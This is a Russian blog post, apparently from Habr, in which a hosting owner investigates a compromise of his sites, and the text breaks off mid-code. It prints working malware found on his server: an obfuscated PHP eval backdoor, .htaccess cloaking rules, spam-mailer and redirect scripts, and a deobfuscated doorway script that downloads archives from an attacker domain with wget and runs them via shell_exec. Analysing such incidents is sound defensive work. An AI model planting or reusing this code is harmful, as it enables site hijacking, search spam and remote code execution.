Доброго времени суток Хабр,

Заголовок конечно же врёт, я не вебмастер. Точнее сказать, не могу зваться им после произошедшего. Я расскажу о том, как взломали мой хостинг и как я это событие проглядел, заметив лишь случайно, а также немного расследования. Надеюсь, мой опыт окажется полезным. Всем кому интересно, добро пожаловать под кат.

Как всё выяснилось


О взломе я узнал совершенно случайно, т.к. все сайты на хостинге работали, открывались и выглядели подобающе приличным страницам, без лишнего контента. Следует отметить, что до этого я никогда не пользовался Google Search Console, а только подключал Google Analytics. Но создав очередную страницу, я решил попробовать инструмент. И вот, Search Console подключен к сайту и пришло время посмотреть на что он способен.

Одна из функций консоли это Fetch as Google, т.е запуск бота гугла на страницах сайта, и я сразу же его пустил на главную сайта. И тут я ничего не понял… с браузера страница открывается, а бот пишет что страница не найдена. Что то тут не так, подумал я, но продолжал запускать бота, наивно полагая что бот гугла сломался.


Разбираемся в произошедшем


Так как Search Console не предоставляет подробной информации об ошибке (что очень печально, на мой взгляд), я воспользовался сервисом http://web-sniffer.net чтобы проэмулировать работу гуглбота и заодно проверить виден ли сайт с другой точки планеты. Задал сайт *******.**, который должен открывать единственный index.php файл, вбил капчу и получил эту самую страницу 404.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /ХХХХХХХХХХ/bootlegger-limiter.php was not found on this server.</p>
<p>Additionally, a 500 Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at *******.** Port 80</address>
</body></html>

Какой ещё bootlegger-limiter.php подумал я и быстро подключился к хостингу. Дело в том, что сайт *******.** лежит в подкаталоге основного сайта (который в корне). И я действительно обнаружил в корне bootlegger-limiter.php. А бота перенаправил, судя по всему, Apache. Открыл .htaccess, а там добавлены следующие строки:

RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]


Иными словами поисковым ботам и людям, которые перешли на сайт с поисковых систем, показывали страницу обработанную в bootlegger-limiter.php.

Вот это поворот. Решил посмотреть ради интереса что им показывалось. Набрал в гугле «site: *******.**»:


Ок гугл, всё понятно. Меня слегка удивило, что бот гугла не проверяет разницу контентов полученных с HTTP заголовками бота и браузера chrome, например. Но может я неправ и это проверяется, поэтому в выдаче появилась надпись, что сайт возможно был взломан.

Вот таким нехитрым образом можно скомпрометировать сайт в поисковиках, а ничего не подозревающий владелец может этого и не заметить. Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS. Единственный сайт с популярным фреймворком был на Yii, но судя по всему он тут не причём, т.к. по методу похоже что делалось всё автоматически, а упомянутый фреймворк сложно взломать не зная структуры сайта. Как мне кажется, пароль от моего аккаунта просто пробрутфорсили. Ниже я расскажу какие файлы мне подбросили и какую функцию они выполняли.

Разбор полёта червя


Итак, для начала список исполняемых файлов кукушки, когда они были подброшены и их содержание:

kfcgmxuu.php - 3 апреля 2016
<?php
$catie ='v]falreE'; $greatly= 'eae';$formulation = '(';

$centralization = 'sSLuVSQ_V'; $gummy = 'a';$barrages = ')';$lawyer= ';]s]L'; $craw = '_'; $maisey ='yV]tdiVv'; $juliann='T'; $bridges= 'R';
$betoken= '$';$atheists='R';$eustacia = '^'; $bunting = 'HaSI';$hurleigh ='Rc';$lovingly =')n"th';

$cups = 'et'; $javelin= 'i';$lizard= '('; $chances = '=ej_i'; $leghorn= 'fVRcpr'; $finalized= '(';
$expounded=')V'; $bounties='Y';

$bushwhack = 'c';$big= 's6t';$dragging ='('; $appeasable='r'; $frequencies = 'a';
$dolphins ='v_sie"';
$dressers='s$VET';
$heaved='[';$frederique= 'r'; $kettle= 'T'; $fortress ='nU'; $letting ='l';$entrusted='p$i)tE[[e';
$ketti='i'; $coarsest = 'S'; $ashely ='_oZC'; $avrom ='E'; $knower='Te)E:`';$bayonets = 'a)l($ibi';$keying = 'K';$availing =';';$karmen=':T';$ingredient= '[g'; $coincides = '_'; $eyesight= 'v)re';

$iterates ='r[)_c(E';
$dissident='lvek';
$discernibility ='m'; $inclination ='(vrs;_,gS';$characterizes ='e'; $contented= 'r'; $lorrayne= '?'; $archived='g';

$bellowing =';'; $deferrer= '=v(a$,e'; $indiana='fta';$krisiun= '$a$WbqUT'; $gardens= '$i"i_i)';
$evidenced = 'srH';$fruitfulness='"';$f='P'; $bylaw ='ad"v4_ve_';$coriss= '(ElspQ';
$cots= 'esImrvq';$lizard ='a';

$conceived ='y';$arabs=']eOX';$excretion='tu"u';$harmoniously ='r';$figured= ') ';$basful= 'vP(_'; $dapper ='o'; $asks = 'ocnes"';$indira ='t'; $jim ='?';

$coweringly = '$';$incompetent = 'o'; $bitternut = 'gr';$codes = 'd';$grasp='qnOe"$se';
$arachnids = 'VI)i(Q';$elucidate ='dQa'; $husband = $asks['1'] .$bitternut['1'] .$grasp['7'] . $elucidate['2'].$indira.$grasp['7'].$basful['3'] . $indiana[0].$excretion['3'] . $grasp[1] . $asks['1']. $indira. $arachnids['3'].$incompetent.

$grasp[1];
$iggy= $figured['1']; $aspirins= $husband($iggy, $grasp['7'] . $basful['0'] .$elucidate['2']. $coriss['2'].
$arachnids['4'].
$elucidate['2'] .$bitternut['1'] .$bitternut['1'] .
$elucidate['2'] .$conceived. $basful['3'] . $coriss['4'] .$incompetent.$coriss['4'] .$arachnids['4']. $indiana[0]. $excretion['3'].$grasp[1].$asks['1'].$basful['3'] .$bitternut[0] . $grasp['7'].$indira .$basful['3'] .

$elucidate['2'] . $bitternut['1']. $bitternut[0] . $grasp['6'] .$arachnids['4']. $arachnids['2'] .$arachnids['2'] .$arachnids['2']. $bellowing);

$aspirins

($indecomposable['1'],$bylaw['4'] ,
$arachnids['2'],$basful['1'],

$karmen['0'] ,

$big[1],$evidenced['2'], $coriss['4'] ,$arachnids['2'] ,$grasp['5'].

$arachnids['3'].$deferrer['0'] .
$elucidate['2'] .$bitternut['1'].$bitternut['1'].$elucidate['2'].
$conceived .$basful['3'].

$cots['3'] .$grasp['7'].$bitternut['1'] . $bitternut[0] .

$grasp['7'] . $arachnids['4'] .$grasp['5']. $basful['3'].$leghorn['2'] .$coriss['1'] .
$elucidate['1']. $krisiun['6'] . $coriss['1'] .$inclination['8'] .$krisiun['7'] .$deferrer['5'] . $grasp['5'] . $basful['3'] .$ashely['3'].$grasp['2'] . $grasp['2'].
$keying.$arachnids[1] . $coriss['1']. $deferrer['5'] . $grasp['5']. $basful['3']. $inclination['8']. $coriss['1'] . $leghorn['2'].$arachnids['0'].$coriss['1']. $leghorn['2'] .$arachnids['2'].
$bellowing . $grasp['5'].$elucidate['2'] .
$deferrer['0']. $arachnids['3'] .
$grasp['6'] .

$grasp['6'] .
$grasp['7'] .$indira .$arachnids['4'] .

$grasp['5'].$arachnids['3']. $iterates[1] .$grasp['4'].

$grasp['7'].$coriss['2'].

$basful['0']. $arachnids['3'].$basful['0'] . $grasp['6'] . $basful['0']. $grasp['0']. $grasp['4'].
$arabs[0] . $arachnids['2'].$jim .$grasp['5']. $arachnids['3'] .$iterates[1]. $grasp['4'] .

$grasp['7'] . $coriss['2'].$basful['0'] .$arachnids['3'].$basful['0'].

$grasp['6'].

$basful['0'] . $grasp['0'] .

$grasp['4']. $arabs[0] . $karmen['0'] .$arachnids['4'].
$arachnids['3'] . $grasp['6'] .$grasp['6'] .$grasp['7'].$indira. $arachnids['4'] . $grasp['5'] .

$arachnids['3'].$iterates[1].

$grasp['4'] . $evidenced['2']. $krisiun['7'] .

$krisiun['7'] . $basful['1'].

$basful['3'].$coriss['1'] .
$lawyer['4'] . $arachnids['0'].$arachnids[1]. $arachnids['0'] .$inclination['8'] . $arachnids['0'] . $elucidate['1']. $grasp['4'] .

$arabs[0] .$arachnids['2'].
$jim. $grasp['5'] . $arachnids['3']. $iterates[1].$grasp['4'] . $evidenced['2'].$krisiun['7'] .$krisiun['7'].$basful['1'] . $basful['3'] .
$coriss['1'].$lawyer['4'] . $arachnids['0'].

$arachnids[1] .$arachnids['0']. $inclination['8'] .$arachnids['0'] .$elucidate['1'].$grasp['4'] .$arabs[0]. $karmen['0'] .$elucidate['0'] .

$arachnids['3']. $grasp['7'] .$arachnids['2'] . $bellowing.
$grasp['7'] . $basful['0'] .$elucidate['2'] . $coriss['2']. $arachnids['4'].
$grasp['6']. $indira. $bitternut['1'] . $bitternut['1']. $grasp['7'] .

$basful['0']. $arachnids['4'] . $krisiun['4'] .$elucidate['2'] .
$grasp['6'] . $grasp['7']. $big[1].$bylaw['4'] .$basful['3'].
$elucidate['0'] . $grasp['7']. $asks['1']. $incompetent .

$elucidate['0'] . $grasp['7'].

$arachnids['4'] .$grasp['6'].
$indira.

$bitternut['1'] .
$bitternut['1'] . $grasp['7'].$basful['0'].$arachnids['4']. $grasp['5'].$elucidate['2']. $arachnids['2'] .$arachnids['2'].$arachnids['2'] . $arachnids['2'].$bellowing );

.htaccess - 5 апреля 2016
RewriteEngine on

RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

bootlegger-limiter.php - 5 апреля 2016
<?php $mlksyl="\x63".chr(114)."e".chr(97).chr(116).chr(101)."_"."f".chr(117)."\x6e"."\x63".chr(116)."\x69"."\x6f"."\x6e";$ofanpm = $mlksyl('$a',strrev(';)a$(lave')); $ofanpm(strrev(';))"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"(edoced_46esab(lave'));?>

enthusiasms-raw.php - 9 октября 2016
<?php

function base64_url_decode($val) {

    return base64_decode(strtr($val, '-_,', '+/='));

}

if(isset($_POST) and count($_POST) > 0){

	
if(isset($_POST["chk"])){

	
    $val = array();

	
    $val["res"] = 1;

	
    print json_encode($val);

	
}else{

	
    $post_data = array_values(array_map('stripslashes', $_POST));

	
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));

	
    if(count($m_data) > 1){

	
	
    $val = array();

	
	
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){

	
	
        $val["mail"] = 1;

	
	
    } else{

	
	
        $val["mail"] = 0;

	
	
    }

	
	
    print json_encode($val);

	
    }

    }

}



if(isset($_GET) and count($_GET) > 0){

    $url = "";

    $redic = array_values($_GET);

    foreach(str_split(base64_url_decode($redic[0])) as $letter){

            if(rand(1,3) == 1){

                    $url .= $letter;

            }else{

                    $url .= $letter."'+'";

            }

    }

?>

<html><head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Redirecting</title>

<script>

var r = '<?php echo $url;?>';

var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];

</script>

</head>

<body onload="location[_0x485b[0]](r);">

Loading...

</body></html>

<?php } ?>

equaling-intangibles.php - 9 октября 2016
<?php

function base64_url_decode($val) {

    return base64_decode(strtr($val, '-_,', '+/='));

}

if(isset($_POST) and count($_POST) > 0){

	
if(isset($_POST["chk"])){

	
    $val = array();

	
    $val["res"] = 1;

	
    print json_encode($val);

	
}else{

	
    $post_data = array_values(array_map('stripslashes', $_POST));

	
    $m_data = explode("|||", base64_url_decode(strrev($post_data[0])));

	
    if(count($m_data) > 1){

	
	
    $val = array();

	
	
    if(mail($m_data[0], $m_data[1], $m_data[2], $m_data[3])){

	
	
        $val["mail"] = 1;

	
	
    } else{

	
	
        $val["mail"] = 0;

	
	
    }

	
	
    print json_encode($val);

	
    }

    }

}



if(isset($_GET) and count($_GET) > 0){

    $url = "";

    $redic = array_values($_GET);

    foreach(str_split(base64_url_decode($redic[0])) as $letter){

            if(rand(1,3) == 1){

                    $url .= $letter;

            }else{

                    $url .= $letter."'+'";

            }

    }

?>

<html><head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>Redirecting</title>

<script>

var r = '<?php echo $url;?>';

var _0x485b=["\x72\x65\x70\x6C\x61\x63\x65"];

</script>

</head>

<body onload="location[_0x485b[0]](r);">

Loading...

</body></html>

<?php } ?>

Начнём с самых ранних файлов, которые попали на сервер в апреле (kfcgmxuu.php и bootlegger-limiter.php). Они разумеется обфусцированы. Поэтому я их привёл в читаемый вид и посмотрел что же они делают.

Самым первым появился kfcgmxuu.php, вот что он делает.

$i = array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a = isset($i["elvivsvq"])?$i["elvivsvq"]:(isset($i["HTTP_ELVIVSVQ"])?$i["HTTP_ELVIVSVQ"]:die);
eval(strrev(base64_decode(strrev($a)));

На сайт в cookies, заголовках либо в аргументах с названием elvivsvq посылается закодированный при помощи MIME base64 и еще перевёрнутый 2 раза код и выполняется. После этого момента злоумышленник получает полный контроль над файловой системой хостинга к которой имеет доступ веб сервер. Это бэкдор, через который всё остальное и будет просачиваться.

Далее при помощи этого бэкдора редактируется .htaccess и добавляется bootlegger-limiter.php, а вот и он, деобфусцированный:

Показать код
<?php

set_time_limit(0);

function get_page_by_curl($url, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36") {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

$doorcontent = "";
$x = @$_POST["pppp_check"];
$md5pass = "e5e4570182820af0a183ce1520afe43b";

$host = @$_SERVER["HTTP_HOST"];
$uri = @$_SERVER["REQUEST_URI"];
$host = str_replace("www.", "", $host);
$md5host = md5($host);
$urx = $host . $uri;
$md5urx = md5($urx);

if (function_exists('sys_get_temp_dir')) {
    $tmppath = sys_get_temp_dir();
    if (!is_dir($tmppath)) {
        $tmppath = (dirname(__FILE__));
    }
} else {
    $tmppath = (dirname(__FILE__));
}

$cdir = $tmppath . "/." . $md5host . "/";
$domain = "f.gghijacktest.com";

if ($x != "") {
    $p = md5(base64_decode(@$_POST["p"]));
    if ($p != $md5pass)
        return;
    $pa = @$_POST["pa"];

    if (($x == "2") || ($x == "4")) {
        echo "###UPDATING_FILES###\n";
        if ($x == "2") {
            $cmd = "cd $tmppath; rm -rf .$md5host";
            echo shell_exec($cmd);
        }
        $cmd = "cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
        if ($pa != "") {
            $pa+=0;
            $cmd = "cd $tmppath; wget http://update.$domain/arc/" . $md5host . "_" . $pa . ".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
        }
        echo shell_exec($cmd);
        exit;
    }
    if ($x == "3") {
        echo "###WORKED###\n";
        exit;
    }
} else {
    $curx = $cdir . $md5urx;
    if (@file_exists($curx)) {
        @list($IDpack, $mk, $doorcontent, $pdf, $contenttype) = @explode("|||", @file_get_contents($curx));
        $doorcontent = @base64_decode($doorcontent);

        $bot = 0;
        $se = 0;
        $mobile = 0;
        if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT"]))
            $bot = 1;
        if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT"]))
            $mobile = 1;
        if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER"]))
            $se = 1;
        if ($bot) {
            $pdf+=0;
            if ($pdf == 1) {
                header("Content-Type: application/pdf");
            }
            if ($pdf == 2) {
                header("Content-Type: image/png");
            }
            if ($pdf == 3) {
                header("Content-Type: text/xml");
            }
            if ($pdf == 4) {
                $contenttype = @base64_decode($contenttype);
                $types = explode("\n", $contenttype);
                foreach ($types as $val) {
                    $val = trim($val);
                    if ($val != "")
                        header($val);
                }
            }
            echo $doorcontent;
            exit;
        }
        if ($se) {
            echo get_page_by_curl("http://$domain/lp.php?ip=" . $IDpack . "&mk=" . rawurlencode($mk) . "&d=" . $md5host . "&u=" . $md5urx . "&addr=" . $_SERVER["REMOTE_ADDR"], @$_SERVER["HTTP_USER_AGENT"]);
            exit;
        }

        header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
        echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
        echo '<html><head>' . "\n";
        echo '<title>404 Not Found</title>' . "\n";
        echo '</head><body>' . "\n";
        echo '<h1>Not Found</h1>' . "\n";
        echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
        echo '<hr>' . "\n";
        echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
        echo '</body></html>';
        exit;
    } else {


        $crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
        $buf = get_page_by_curl($crurl);

        $curx = $cdir . "fff.sess";
        if (@file_exists($curx)) {
            $links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
            $c = @count($links) - 1;
            shuffle($links);
            if ($c > 20)
                $c = 20;
            $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
